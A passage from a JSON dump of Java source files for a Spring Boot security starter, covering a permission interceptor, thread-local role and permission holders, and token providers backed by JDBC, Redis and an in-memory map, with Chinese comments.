    "content": "package com.jun.plugin.security.interceptor;\n\nimport com.jun.plugin.security.exception.NoPermissionException;\nimport com.jun.plugin.security.interceptor.holder.AuthenticeHolder;\nimport com.jun.plugin.security.interceptor.holder.PermissionHolder;\nimport com.jun.plugin.security.interceptor.holder.RoleHolder;\nimport com.jun.plugin.security.interfaces.PermissionInfoInterface;\nimport com.jun.plugin.security.util.AuthUtil;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.lang.reflect.Method;\nimport java.util.Set;\n\n/**\n * 用户权限验证拦截器\n *\n * @version  2020-03-22-11:23\n **/\npublic class PermissionInterceptor extends HandlerInterceptorAdapter {\n\n    /**\n     * 权限角色信息\n     */\n    private PermissionInfoInterface permissionInfoInterface;\n\n    public PermissionInfoInterface getPermissionInfoInterface() {\n        return this.permissionInfoInterface;\n    }\n\n    public void setPermissionInfoInterface(PermissionInfoInterface permissionInfoInterface) {\n        this.permissionInfoInterface = permissionInfoInterface;\n    }\n\n    public PermissionInterceptor(PermissionInfoInterface permissionInfoInterface) {\n        this.setPermissionInfoInterface(permissionInfoInterface);\n    }\n\n\n    /*\n     * 进入controller层之前拦截请求\n     * 返回值：表示是否将当前的请求拦截下来  false：拦截请求，请求别终止。true：请求不被拦截，继续执行\n     * Object obj:表示被拦的请求的目标对象（controller中方法）\n     */\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        if (!(handler instanceof HandlerMethod)) {\n            return super.preHandle(request, response, handler);\n        }\n\n        // 判断请求类型，如果是OPTIONS，直接返回\n        String options = HttpMethod.OPTIONS.toString();\n        if (options.equals(request.getMethod())) {\n            response.setStatus(HttpServletResponse.SC_OK);\n            return super.preHandle(request, response, handler);\n        }\n\n        Method method = ((HandlerMethod) handler).getMethod();\n        Object loginId = AuthenticeHolder.getLoginId();\n        Set<String> roleSet = this.getPermissionInfoInterface().getRoleSet(loginId);\n        Set<String> permissionSet = this.getPermissionInfoInterface().getPermissionSet(loginId);\n\n        RoleHolder.setRoleSet(roleSet);\n        PermissionHolder.setPermissionSet(permissionSet);\n\n        if (AuthUtil.checkPermission(method, permissionSet) && AuthUtil.checkRole(method, roleSet)) {\n            return super.preHandle(request, response, handler);\n        } else {\n            // 权限和角色校验不通过\n            // 直接抛出异常的话，就不需要return false了\n            throw new NoPermissionException();\n        }\n    }\n\n\n    /*\n     * 处理请求完成后视图渲染之前的处理操作\n     * 通过ModelAndView参数改变显示的视图，或发往视图的方法\n     */\n    @Override\n    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) {\n        // logger.info(\"PermissionInterceptor -- postHandle -- 执行了\");\n    }\n\n    /*\n     * 视图渲染之后的操作\n     */\n    @Override\n    public void afterCompletion(HttpServletRequest arg0, HttpServletResponse arg1, Object arg2, Exception arg3) throws Exception {\n        // logger.info(\"PermissionInterceptor -- afterCompletion -- 执行了\");\n        RoleHolder.clearRoleSet();\n        PermissionHolder.clearPermissionSet();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/interceptor/holder/AuthenticeHolder.java",
    "content": "package com.jun.plugin.security.interceptor.holder;\n\nimport java.util.Objects;\n\n/**\n * 本地线程变量-缓存用户会话信息\n *\n * @version 2022-06-14 13:58\n **/\npublic class AuthenticeHolder {\n    private final static ThreadLocal<Object> authentice = new ThreadLocal<>();\n\n    public static Object getLoginId() {\n        Object loginId = authentice.get();\n        if (Objects.isNull(loginId)) {\n            return null;\n        } else {\n            return loginId;\n        }\n    }\n\n    public static void setLoginId(Object loginId) {\n        authentice.set(loginId);\n    }\n\n    public static void clearLoginId() {\n        authentice.remove();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/interceptor/holder/PermissionHolder.java",
    "content": "package com.jun.plugin.security.interceptor.holder;\n\nimport java.util.HashSet;\nimport java.util.Objects;\nimport java.util.Set;\n\n/**\n * 本地线程变量-缓存用户权限资源值信息\n *\n * @since 2023-06-04 13:58\n **/\npublic class PermissionHolder {\n    private final static ThreadLocal<Set<String>> permissionSetLocal = new ThreadLocal<>();\n\n    public static Set<String> getPermissionSet() {\n        Set<String> permissionSet = permissionSetLocal.get();\n        if (Objects.isNull(permissionSet)) {\n            return new HashSet<String>();\n        } else {\n            return permissionSet;\n        }\n    }\n\n    public static void setPermissionSet(Set<String> loginId) {\n        permissionSetLocal.set(loginId);\n    }\n\n    public static void clearPermissionSet() {\n        permissionSetLocal.remove();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/interceptor/holder/RoleHolder.java",
    "content": "package com.jun.plugin.security.interceptor.holder;\n\nimport java.util.HashSet;\nimport java.util.Objects;\nimport java.util.Set;\n\n\n/**\n * 本地线程变量-缓存用户角色资源值信息\n *\n * @since 2023-06-04 13:58\n **/\npublic class RoleHolder {\n\n    private final static ThreadLocal<Set<String>> roleSetLocal = new ThreadLocal<>();\n\n    public static Set<String> getRoleSet() {\n        Set<String> roleSet = roleSetLocal.get();\n        if (Objects.isNull(roleSet)) {\n            return new HashSet<String>();\n        } else {\n            return roleSet;\n        }\n    }\n\n    public static void setRoleSet(Set<String> loginId) {\n        roleSetLocal.set(loginId);\n    }\n\n    public static void clearRoleSet() {\n        roleSetLocal.remove();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/interfaces/PermissionInfoInterface.java",
    "content": "package com.jun.plugin.security.interfaces;\n\nimport java.util.Set;\n\n/**\n * 自定义权限验证接口扩展，注意权限缓存需要自己控制，框架不处理缓存\n * @version 2023-01-06-9:33\n **/\npublic interface PermissionInfoInterface {\n\n    /**\n     * 返回一个账号所拥有的权限码集合\n     */\n    Set<String> getPermissionSet(Object loginId);\n\n    /**\n     * 返回一个账号所拥有的角色标识集合 (权限与角色可分开校验)\n     */\n    Set<String> getRoleSet(Object loginId);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/provider/AbstractAuthProvider.java",
    "content": "package com.jun.plugin.security.provider;\n\nimport com.jun.plugin.security.AuthProperties;\nimport com.jun.plugin.security.util.AuthUtil;\nimport com.jun.plugin.security.util.CookieUtil;\n\nimport javax.servlet.http.HttpServletRequest;\n\npublic abstract class AbstractAuthProvider implements AuthProvider {\n\n    protected abstract AuthProperties getAuthProperties();\n\n    /**\n     * 获取token\n     * @return\n     */\n    @Override\n    public String getToken() {\n        String token = AuthUtil.getToken(this.getAuthProperties().getTokenName());\n        return token;\n    }\n\n    /**\n     * 获取token\n     * @param request HttpServletRequest\n     * @return\n     */\n    @Override\n    public String getToken(HttpServletRequest request) {\n        String token = AuthUtil.getToken(request, this.getAuthProperties().getTokenName());\n        return token;\n    }\n\n    /**\n     * 执行登录操作\n     *\n     * @param loginId 会话登录：参数填写要登录的账号id，建议的数据类型：long | int | String， 不可以传入复杂类型，如：User、Admin 等等\n     */\n    @Override\n    public String login(Object loginId) {\n        String token = this.createToken(loginId);\n        // 设置 Cookie，通过 Cookie 上下文返回给前端\n        CookieUtil.setCookie(AuthUtil.getResponse(), this.getAuthProperties().getTokenName(), token);\n        return token;\n    }\n\n    /**\n     * 退出登录\n     */\n    @Override\n    public void logout(HttpServletRequest request) {\n        this.deleteToken(this.getToken(request));\n    }\n\n    /**\n     * 退出登录\n     */\n    @Override\n    public void logout() {\n        this.deleteToken(this.getToken());\n    }\n\n    /**\n     * 获取当前登录用户的loginId\n     *\n     * @return\n     */\n    @Override\n    public Object getLoginId() {\n        return this.getLoginId(this.getToken());\n    }\n\n    /**\n     * 校验当前会话是否登录\n     * @return true已登录，false未登录\n     */\n    @Override\n    public boolean isLogin() {\n        return this.checkToken(this.getToken());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/provider/AuthProvider.java",
    "content": "package com.jun.plugin.security.provider;\n\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * 操作token和会话的接口\n *\n * @version 2023-01-06-9:33\n **/\npublic interface AuthProvider {\n\n    /*============================操作token开始=============================*/\n\n    /**\n     * 获取token\n     * @return\n     */\n    String getToken();\n\n    /**\n     * 获取token\n     * @param request HttpServletRequest\n     * @return\n     */\n    String getToken(HttpServletRequest request);\n\n    /**\n     * 刷新token\n     * @param token\n     * @return\n     */\n    boolean refreshToken(String token);\n\n    /**\n     * 检查token是否失效\n     * @param token\n     * @return\n     */\n    boolean checkToken(String token);\n\n    /**\n     * 创建一个新的token\n     * @param loginId 会话登录：参数填写要登录的账号id，建议的数据类型：long | int | String， 不可以传入复杂类型，如：User、Admin 等等\n     * @return\n     */\n    String createToken(Object loginId);\n\n    /**\n     * 根据token，获取loginId\n     * @param token\n     * @return\n     */\n    Object getLoginId(String token);\n\n    /**\n     * 删除token\n     * @param token\n     * @return\n     */\n    boolean deleteToken(String token);\n\n    /**\n     * 通过loginId删除token---常用于主动让某人下线\n     * @param loginId\n     * @return\n     */\n    boolean deleteTokenByLoginId(Object loginId);\n\n    /*============================操作token结束=============================*/\n\n\n    /*============================操作会话开始，此部分在AbstractAuthProvider里予以实现=============================*/\n\n    /**\n     * 执行登录操作\n     * @param loginId 会话登录：参数填写要登录的账号id，建议的数据类型：long | int | String， 不可以传入复杂类型，如：User、Admin 等等\n     */\n    String login(Object loginId);\n\n    /**\n     * 退出登录\n     */\n    void logout();\n\n    /**\n     * HttpServletRequest request\n     * @param request\n     */\n    void logout(HttpServletRequest request);\n\n    /**\n     * 获取当前登录用户的loginId\n     * @return\n     */\n    Object getLoginId();\n\n    /**\n     * 校验当前会话是否登录\n     * @return true已登录，false未登录\n     */\n    boolean isLogin();\n    /*============================操作会话结束=============================*/\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/provider/JdbcAuthProvider.java",
    "content": "package com.jun.plugin.security.provider;\n\nimport org.springframework.util.Assert;\nimport com.jun.plugin.security.AuthProperties;\nimport com.jun.plugin.security.util.CommonUtil;\nimport com.jun.plugin.security.util.TokenGenUtil;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport java.time.LocalDateTime;\nimport java.time.temporal.ChronoUnit;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * 操作token和会话的接口（通过jdbc实现）\n *了\n * @version 2023-01-06-9:33\n **/\npublic class JdbcAuthProvider extends AbstractAuthProvider implements AuthProvider {\n    final static Logger log = LoggerFactory.getLogger(JdbcAuthProvider.class);\n\n    private final JdbcTemplate jdbcTemplate;\n\n    private final AuthProperties authProperties;\n\n    public JdbcAuthProvider(JdbcTemplate jdbcTemplate, AuthProperties authProperties) {\n        this.jdbcTemplate = jdbcTemplate;\n        this.authProperties = authProperties;\n\n        // 同时初始化定时任务\n        this.initCleanThread();\n    }\n\n    @Override\n    protected AuthProperties getAuthProperties() {\n        return this.authProperties;\n    }\n\n\n    /**\n     * 刷新token有效时间\n     *\n     * @param token 令牌\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean refreshToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            String sql = \"update \" + this.getAuthProperties().getTableName() + \" set token_expire_time = ? where token_str = ?\";\n            int num = jdbcTemplate.update(sql, CommonUtil.currentTimePlusSeconds(this.getAuthProperties().getTimeout()), token);\n            return num > 0;\n        } catch (Exception e) {\n            log.error(\"JdbcAuthProvider refreshToken failed, Exception: {e}\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 检查token是否失效\n     *\n     * @param token 令牌\n     * @return true未失效，false已失效\n     */\n    @Override\n    public boolean checkToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            String sql = \"select token_expire_time from \" + this.getAuthProperties().getTableName() + \" where token_str=?\";\n            List<Map<String, Object>> resultList = jdbcTemplate.queryForList(sql, token);\n            if (Objects.nonNull(resultList) && !resultList.isEmpty()) {\n                String tokenExpireTime = resultList.get(0).get(\"token_expire_time\").toString();\n                return CommonUtil.timeCompare(tokenExpireTime);\n            }\n            return false;\n        } catch (Exception e) {\n            log.error(\"JdbcAuthProvider checkToken failed, Exception: {e}\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 创建一个新的token\n     *\n     * @param loginId 会话登录：参数填写要登录的账号id，建议的数据类型：long | int | String， 不可以传入复杂类型，如：User、Admin 等等\n     * @return token令牌\n     */\n    @Override\n    public String createToken(Object loginId) {\n        Assert.notNull(loginId, \"The loginId cannot be null!\");\n        try {\n            String token = TokenGenUtil.genTokenStr(this.getAuthProperties().getTokenStyle());\n            String sql = \"insert into \" + this.getAuthProperties().getTableName() + \" (token_str,login_id,token_expire_time) values (?,?,?)\";\n            int num = jdbcTemplate.update(sql, token, String.valueOf(loginId), CommonUtil.currentTimePlusSeconds(this.getAuthProperties().getTimeout()));\n            return num > 0 ? token : null;\n        } catch (Exception e) {\n            log.error(\"JdbcAuthProvider createToken failed, Exception: {e}\", e);\n            return null;\n        }\n    }\n\n    /**\n     * 根据token，获取loginId\n     *\n     * @param token 令牌\n     * @return loginId\n     */\n    @Override\n    public Object getLoginId(String token) {\n        Assert.hasText(token, \"The token cannot be empty！\");\n        try {\n            String sql = \"select login_id from \" + this.getAuthProperties().getTableName() + \" where token_str=?\";\n            List<Map<String, Object>> resultList = jdbcTemplate.queryForList(sql, token);\n            if (Objects.nonNull(resultList) && !resultList.isEmpty()) {\n                return resultList.get(0).get(\"login_id\");\n            }\n            return null;\n        } catch (Exception e) {\n            log.error(\"JdbcAuthProvider getLoginId failed, Exception: {e}\", e);\n            return null;\n        }\n    }\n\n    /**\n     * 删除token\n     *\n     * @param token 令牌\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean deleteToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty！\");\n        try {\n            String sql = \"delete from \" + this.getAuthProperties().getTableName() + \" where token_str = ?\";\n            int num = jdbcTemplate.update(sql, token);\n            return num > 0;\n        } catch (Exception e) {\n            log.error(\"JdbcAuthProvider deleteToken failed, Exception: {e}\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 通过loginId删除token\n     *\n     * @param loginId 会话id\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean deleteTokenByLoginId(Object loginId) {\n        Assert.notNull(loginId, \"The loginId cannot be null！\");\n        try {\n            String sql = \"delete from \" + this.getAuthProperties().getTableName() + \" where login_id = ?\";\n            int num = jdbcTemplate.update(sql, loginId);\n            return num > 0;\n        } catch (Exception e) {\n            log.error(\"JdbcAuthProvider deleteTokenByLoginId failed, Exception: {e}\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 用于定时执行数据清理的线程池\n     */\n    public ScheduledExecutorService executorService;\n\n    /**\n     * 初始化清理任务，每天执行一次\n     */\n    private void initCleanThread() {\n        this.executorService = Executors.newScheduledThreadPool(1);\n\n        // 获取当前时间\n        LocalDateTime now = LocalDateTime.now();\n        // 获取明天凌晨第一秒的时间，如2023-08-25 00:00:01:000\n        LocalDateTime tomorrow = now.plusDays(1).withHour(0).withMinute(0).withSecond(1).withNano(0);\n        // 计算初始延迟时间（单位-毫秒）\n        long initialDelay = ChronoUnit.MILLIS.between(now, tomorrow);\n\n        this.executorService.scheduleAtFixedRate(() -> {\n            log.info(\"JdbcAuthProvider clean execute at: {}\", CommonUtil.getCurrentTime());\n            try {\n                // 执行清理方法\n                this.clean();\n            } catch (Exception e2) {\n                log.error(\"JdbcAuthProvider cleanThread Exception: {e2}\", e2);\n            }\n        }, initialDelay/*首次延迟多长时间后执行*/, 24 * 60 * 60 * 1000/*间隔时间*/, TimeUnit.MILLISECONDS);\n        log.info(\"JdbcAuthProvider cleanThread init successful!\");\n    }\n\n\n    private void clean() {\n        try {\n            String sql = \"delete from \" + this.getAuthProperties().getTableName() + \" where token_expire_time < ?\";\n            String criticalTime = CommonUtil.currentTimeMinusSeconds(24 * 60 * 60);\n            int num = jdbcTemplate.update(sql, criticalTime);\n            log.info(\"JdbcAuthProvider clean num: {}\", num);\n        } catch (Exception e) {\n            log.error(\"JdbcAuthProvider clean failed, Exception: {e}\", e);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/provider/RedisAuthProvider.java",
    "content": "package com.jun.plugin.security.provider;\n\n\nimport org.springframework.util.Assert;\nimport com.jun.plugin.security.AuthProperties;\nimport com.jun.plugin.security.consts.AuthConsts;\nimport com.jun.plugin.security.util.TokenGenUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.util.StringUtils;\n\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * 操作token和会话的接口（通过redis实现）\n *\n * @version 2023-01-06-9:33\n **/\npublic class RedisAuthProvider extends AbstractAuthProvider implements AuthProvider {\n    final static Logger log = LoggerFactory.getLogger(RedisAuthProvider.class);\n\n    private final StringRedisTemplate redisTemplate;\n    private final AuthProperties authProperties;\n\n    public RedisAuthProvider(StringRedisTemplate redisTemplate, AuthProperties authProperties) {\n        this.redisTemplate = redisTemplate;\n        this.authProperties = authProperties;\n    }\n\n    @Override\n    protected AuthProperties getAuthProperties() {\n        return this.authProperties;\n    }\n\n    /**\n     * 刷新token\n     *\n     * @param token 令牌\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean refreshToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            return redisTemplate.expire(AuthConsts.AUTH_TOKEN_KEY + token, authProperties.getTimeout(), TimeUnit.SECONDS);\n        } catch (Exception e) {\n            log.error(\"RedisAuthProvider refreshToken failed, Exception：{e}\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 检查token是否失效\n     *\n     * @param token 令牌\n     * @return true未失效，false已失效\n     */\n    @Override\n    public boolean checkToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            return redisTemplate.hasKey(AuthConsts.AUTH_TOKEN_KEY + token);\n        } catch (Exception e) {\n            log.error(\"RedisAuthProvider checkToken failed, Exception：{e}\", e);\n            return false;\n        }\n    }\n\n\n    /**\n     * 创建一个新的token\n     *\n     * @param loginId 会话登录：参数填写要登录的账号id，建议的数据类型：long | int | String， 不可以传入复杂类型，如：User、Admin 等等\n     * @return token令牌\n     */\n    @Override\n    public String createToken(Object loginId) {\n        Assert.notNull(loginId, \"The loginId cannot be null!\");\n        try {\n            String token = TokenGenUtil.genTokenStr(getAuthProperties().getTokenStyle());\n            redisTemplate.opsForValue().set(AuthConsts.AUTH_TOKEN_KEY + token, String.valueOf(loginId), getAuthProperties().getTimeout(), TimeUnit.SECONDS);\n            return token;\n        } catch (Exception e) {\n            log.error(\"RedisAuthProvider createToken failed, Exception：{e}\", e);\n            return null;\n        }\n    }\n\n\n    /**\n     * 根据token，获取loginId\n     *\n     * @param token 令牌\n     * @return loginId\n     */\n    @Override\n    public Object getLoginId(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            return redisTemplate.opsForValue().get(AuthConsts.AUTH_TOKEN_KEY + token);\n        } catch (Exception e) {\n            log.error(\"RedisAuthProvider getLoginId failed, Exception：{e}\", e);\n            return null;\n        }\n    }\n\n    /**\n     * 删除token\n     *\n     * @param token 令牌\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean deleteToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            return redisTemplate.delete(AuthConsts.AUTH_TOKEN_KEY + token);\n        } catch (Exception e) {\n            log.error(\"RedisAuthProvider deleteToken failed, Exception：{e}\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 通过loginId删除token（目前是通过keys命令模糊查询的，数据量特别大时会有性能问题，后续优化）\n     *\n     * @param loginId 身份唯一值\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean deleteTokenByLoginId(Object loginId) {\n        Assert.notNull(loginId, \"The loginId cannot be null!\");\n        try {\n            Set<String> keys = redisTemplate.keys(AuthConsts.AUTH_TOKEN_KEY.concat(\"*\"));\n            if (Objects.nonNull(keys) && !keys.isEmpty()) {\n                for (String key : keys) {\n                    String loginIdInRedis = redisTemplate.opsForValue().get(key);\n                    if (!StringUtils.isEmpty(loginIdInRedis) && loginIdInRedis.equals(loginId)) {\n                        redisTemplate.delete(key);\n                    }\n                }\n            }\n            return true;\n        } catch (Exception e) {\n            log.error(\"RedisAuthProvider deleteToken failed, Exception：{e}\", e);\n            return false;\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/provider/SingleAuthProvider.java",
    "content": "package com.jun.plugin.security.provider;\n\n\nimport org.springframework.util.Assert;\nimport com.jun.plugin.security.AuthProperties;\nimport com.jun.plugin.security.consts.AuthConsts;\nimport com.jun.plugin.security.util.CommonUtil;\nimport com.jun.plugin.security.util.TokenGenUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.*;\nimport java.util.concurrent.*;\n\n/**\n * 操作token和会话的接口（通过单机内存Map实现，系统重启后数据会丢失）\n * 部分代码实现参考自 https://gitee.com/dromara/sa-token/blob/dev/sa-token-core/src/main/java/cn/dev33/satoken/dao/SaTokenDaoDefaultImpl.java\n *\n * @version 2023-01-06-9:33\n **/\npublic class SingleAuthProvider extends AbstractAuthProvider implements AuthProvider {\n    final static Logger log = LoggerFactory.getLogger(SingleAuthProvider.class);\n\n    /**\n     * 常量，每次清理过期数据间隔的时间 (单位: 秒) ，默认值30秒，设置为-1代表不启动定时清理------这里暂时先写死\n     */\n    final static int DATA_REFRESH_PERIOD = 30;\n\n    /**\n     * 常量，表示系统中不存在这个缓存 (在对不存在的key获取剩余存活时间时返回此值)\n     */\n    final static long NOT_VALUE_EXPIRE = -1L;\n\n    /**\n     * 数据存储集合\n     */\n    public final static Map<String, Object> dataMap = new ConcurrentHashMap<>();\n\n    /**\n     * 数据的过期时间存储集合 (单位: 毫秒) , 记录所有key的到期时间 [注意不是剩余存活时间]\n     */\n    public final static Map<String, Long> expireMap = new ConcurrentHashMap<>();\n\n\n    // ------------------------ String 读写操作开始 ------------------------ //\n\n    /**\n     * 从缓存中获取数据（String）\n     *\n     * @param key 键\n     * @return 值\n     */\n    public String get(String key) {\n        clearKeyByTimeout(key);\n        return (String) dataMap.get(key);\n    }\n\n    /**\n     * 往缓存中存入数据（String）\n     *\n     * @param key     键\n     * @param value   值\n     * @param timeout 有效时间（秒）\n     */\n    public void set(String key, String value, long timeout) {\n        if (timeout == 0) {\n            return;\n        }\n        dataMap.put(key, value);\n        expireMap.put(key, (System.currentTimeMillis() + timeout * 1000));\n    }\n\n    /**\n     * 更新缓存数据（String）\n     *\n     * @param key   键\n     * @param value 值\n     */\n    public void update(String key, String value) {\n        if (getKeyTimeout(key) == SingleAuthProvider.NOT_VALUE_EXPIRE) {\n            return;\n        }\n        dataMap.put(key, value);\n    }\n\n    /**\n     * 删除缓存\n     *\n     * @param key 键\n     */\n    public void delete(String key) {\n        dataMap.remove(key);\n        expireMap.remove(key);\n    }\n\n    /**\n     * 获取缓存剩余存活时间 (单位：秒)\n     *\n     * @param key 键\n     * @return 剩余存活时间 (单位：秒)\n     */\n    public long getTimeout(String key) {\n        return getKeyTimeout(key);\n    }\n\n    /**\n     * 更新缓存剩余存活时间 (单位：秒)\n     *\n     * @param key     键\n     * @param timeout 有效时间（秒）\n     */\n    public void updateTimeout(String key, long timeout) {\n        expireMap.put(key, (System.currentTimeMillis() + timeout * 1000));\n    }\n\n    // ------------------------ Object 读写操作开始 ------------------------ //\n\n    /**\n     * 从缓存中获取数据（Object）\n     *\n     * @param key 键\n     * @return 值\n     */\n    public Object getObject(String key) {\n        clearKeyByTimeout(key);\n        return dataMap.get(key);\n    }\n\n    /**\n     * 往缓存中存入数据（Object）\n     *\n     * @param key     键\n     * @param object  值\n     * @param timeout 有效时间（秒）\n     */\n    public void setObject(String key, Object object, long timeout) {\n        if (timeout == 0) {\n            return;\n        }\n        dataMap.put(key, object);\n        expireMap.put(key, (System.currentTimeMillis() + timeout * 1000));\n    }\n\n    /**\n     * 更新缓存数据（Object）\n     *\n     * @param key    键\n     * @param object 值\n     */\n    public void updateObject(String key, Object object) {\n        if (getKeyTimeout(key) == SingleAuthProvider.NOT_VALUE_EXPIRE) {\n            return;\n        }\n        dataMap.put(key, object);\n    }\n\n    /**\n     * 删除缓存\n     *\n     * @param key 键\n     */\n    public void deleteObject(String key) {\n        dataMap.remove(key);\n        expireMap.remove(key);\n    }\n\n    /**\n     * 获取缓存剩余存活时间 (单位：秒)\n     *\n     * @param key 键\n     * @return 剩余存活时间 (单位：秒)\n     */\n    public long getObjectTimeout(String key) {\n        return getKeyTimeout(key);\n    }\n\n    /**\n     * 更新缓存剩余存活时间 (单位：秒)\n     *\n     * @param key     键\n     * @param timeout 有效时间（秒）\n     */\n    public void updateObjectTimeout(String key, long timeout) {\n        expireMap.put(key, (System.currentTimeMillis() + timeout * 1000));\n    }\n\n    // ------------------------ 过期时间相关操作开始 ------------------------ //\n\n    /**\n     * 如果指定key已经过期，则立即清除它\n     *\n     * @param key 键\n     */\n    private void clearKeyByTimeout(String key) {\n        Long expirationTime = expireMap.get(key);\n        // 清除条件：如果不为空 && 已经超过过期时间\n        if (expirationTime != null && expirationTime < System.currentTimeMillis()) {\n            dataMap.remove(key);\n            expireMap.remove(key);\n        }\n    }\n\n    /**\n     * 获取指定key的剩余存活时间 (单位：秒)\n     *\n     * @param key 键\n     */\n    private long getKeyTimeout(String key) {\n        // 先检查是否已经过期\n        clearKeyByTimeout(key);\n        // 获取过期时间\n        Long expire = expireMap.get(key);\n        // 如果根本没有这个值，则直接返回NOT_VALUE_EXPIRE\n        if (expire == null) {\n            return SingleAuthProvider.NOT_VALUE_EXPIRE;\n        }\n        // 计算剩余时间并返回\n        long timeout = (expire - System.currentTimeMillis()) / 1000;\n        // 小于零时，视为不存在，返回NOT_VALUE_EXPIRE\n        if (timeout < 0) {\n            dataMap.remove(key);\n            expireMap.remove(key);\n            return SingleAuthProvider.NOT_VALUE_EXPIRE;\n        }\n        return timeout;\n    }\n\n\n    // ------------------------ 定时清理过期数据 ------------------------ //\n    /**\n     * 线程池核心线程数最大值\n     */\n    public static final int corePoolSize = 5;\n\n    /**\n     * 用于定时执行数据清理的线程池\n     */\n    public ScheduledExecutorService executorService;\n\n    /**\n     * 是否继续执行数据清理的线程标记\n     */\n    public volatile boolean refreshFlag;\n\n    /**\n     * 清理所有已经过期的key\n     */\n    public void refreshDataMap() {\n        for (String key : expireMap.keySet()) {\n            clearKeyByTimeout(key);\n        }\n    }\n\n    /**\n     * 初始化定时任务\n     */\n    public void initRefreshThread() {\n        // 如果配置了<=0的值，则不启动定时清理\n        if (SingleAuthProvider.DATA_REFRESH_PERIOD <= 0) {\n            return;\n        }\n        // 启动定时刷新\n        this.refreshFlag = true;\n        this.executorService = Executors.newScheduledThreadPool(corePoolSize);\n        this.executorService.scheduleWithFixedDelay(() -> {\n            log.info(\"SingleAuthProvider - refreshSession - at ：{}\", CommonUtil.getCurrentTime());\n            try {\n                // 如果已经被标记为结束\n                if (!refreshFlag) {\n                    return;\n                }\n                // 执行清理方法\n                refreshDataMap();\n            } catch (Exception e2) {\n                log.error(\"SingleAuthProvider - refreshSession - Exception：{e2}\", e2);\n            }\n        }, 10/*首次延迟多长时间后执行*/, DATA_REFRESH_PERIOD/*间隔时间*/, TimeUnit.SECONDS);\n        log.info(\"SingleAuthProvider - refreshThread - init successful!\");\n    }\n\n\n    /**\n     * 结束定时任务，不再定时清理过期数据\n     */\n    public void endRefreshThread() {\n        this.refreshFlag = false;\n    }\n\n\n    // ------------------------ 实现AuthProvider接口开始 ------------------------ //\n    private final AuthProperties authProperties;\n\n    /**\n     * 构造函数\n     */\n    public SingleAuthProvider(AuthProperties authProperties) {\n        this.authProperties = authProperties;\n        // 同时初始化定时任务\n        this.initRefreshThread();\n    }\n\n    @Override\n    protected AuthProperties getAuthProperties() {\n        return this.authProperties;\n    }\n\n    /**\n     * 刷新token\n     *\n     * @param token 令牌\n     * @return true成功，false失败\n     */\n    @Override\n    public boolean refreshToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            this.updateTimeout(AuthConsts.AUTH_TOKEN_KEY + token, this.getAuthProperties().getTimeout());\n            return true;\n        } catch (Exception e) {\n            log.error(\"SingleAuthProvider - refreshToken - failed，Exception：{e}\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 检查token是否失效\n     *\n     * @param token 令牌\n     * @return true有效，false已失效\n     */\n    @Override\n    public boolean checkToken(String token) {\n        Assert.hasText(token, \"The token cannot be empty!\");\n        try {\n            long timeout = this.getTimeout(AuthConsts.AUTH_TOKEN_KEY + token);\n            return timeout > 0;\n        } catch (Exception e) {\n            log.error(\"SingleAuthProvider - checkToken - failed，Exception：{e}\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 创建一个新的token\n     *\n     * @param loginId 